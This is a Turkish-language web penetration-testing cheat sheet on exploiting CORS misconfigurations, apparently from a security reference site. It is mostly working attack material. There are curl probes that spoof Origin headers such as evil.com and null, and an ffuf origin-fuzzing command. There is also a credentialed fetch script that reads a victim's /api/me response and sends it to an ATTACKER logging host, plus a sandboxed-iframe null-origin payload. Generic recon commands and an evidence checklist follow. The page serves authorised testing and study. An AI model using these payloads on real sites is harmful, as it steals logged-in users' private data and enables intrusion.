Skip to content

CORS Bypass

web browser

CORS, tarayıcının cross-origin yanıt okumasını kontrol eder. Access-Control-Allow-Origin yansıyan Origin + Allow-Credentials: true = oturumlu API’den veri çalma.

  1. API yanıtlarında ACAO / ACAC header’larını ölç.

  2. Evil Origin, null, subdomain ve typo varyantlarını dene.

  3. Credentialed fetch PoC ile hassas JSON kanıtla.

  4. XSS veya attacker sayfası ile zincirle.

Terminal window
curl -skI https://TARGET/api/me -H 'Origin: https://evil.com'
Terminal window
curl -skI https://TARGET/api/me -H 'Origin: null'
Terminal window
curl -skI https://TARGET/api/me -H 'Origin: https://TARGET.evil.com'
Terminal window
curl -skI https://TARGET/api/me -H 'Origin: https://target.com.evil.com'
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
ACAO: * + ACAC: true → tarayıcı reddeder; yine de misconfig işareti
<script>
fetch('https://TARGET/api/me', {credentials:'include'})
.then(r => r.text())
.then(t => fetch('https://ATTACKER/log?d='+encodeURIComponent(t)))
</script>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>fetch('https://TARGET/api/me',{credentials:'include'}).then(r=>r.text()).then(alert)</script>"></iframe>
https://evil.com
null
https://TARGET.attacker.com
https://attackerTARGET
http://TARGET (http→https trust)
Terminal window
ffuf -u https://TARGET/api/me -H 'Origin: FUZZ' -w origins.txt -mr 'Access-Control-Allow-Origin'
Terminal window
curl -skI -X OPTIONS https://TARGET/api/me \
-H 'Origin: https://evil.com' \
-H 'Access-Control-Request-Method: PUT' \
-H 'Access-Control-Request-Headers: X-Custom'
[ ] ACAO yansıması / null
[ ] ACAC true
[ ] Credentialed fetch PoC
[ ] Hassas veri kanıtı
Terminal window
curl -sk https://TARGET/robots.txt
Terminal window
curl -sk https://TARGET/sitemap.xml
Terminal window
ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403
Terminal window
nuclei -u https://TARGET -as -silent
GET / HTTP/1.1
Host: TARGET
Accept: */*
Terminal window
mkdir -p evidence/web && tee evidence/web/notes.txt
request/response
zaman damgası
kullanılan hesap
etki özeti
Terminal window
curl -sk https://TARGET/ -D evidence/web/headers.txt -o evidence/web/body.html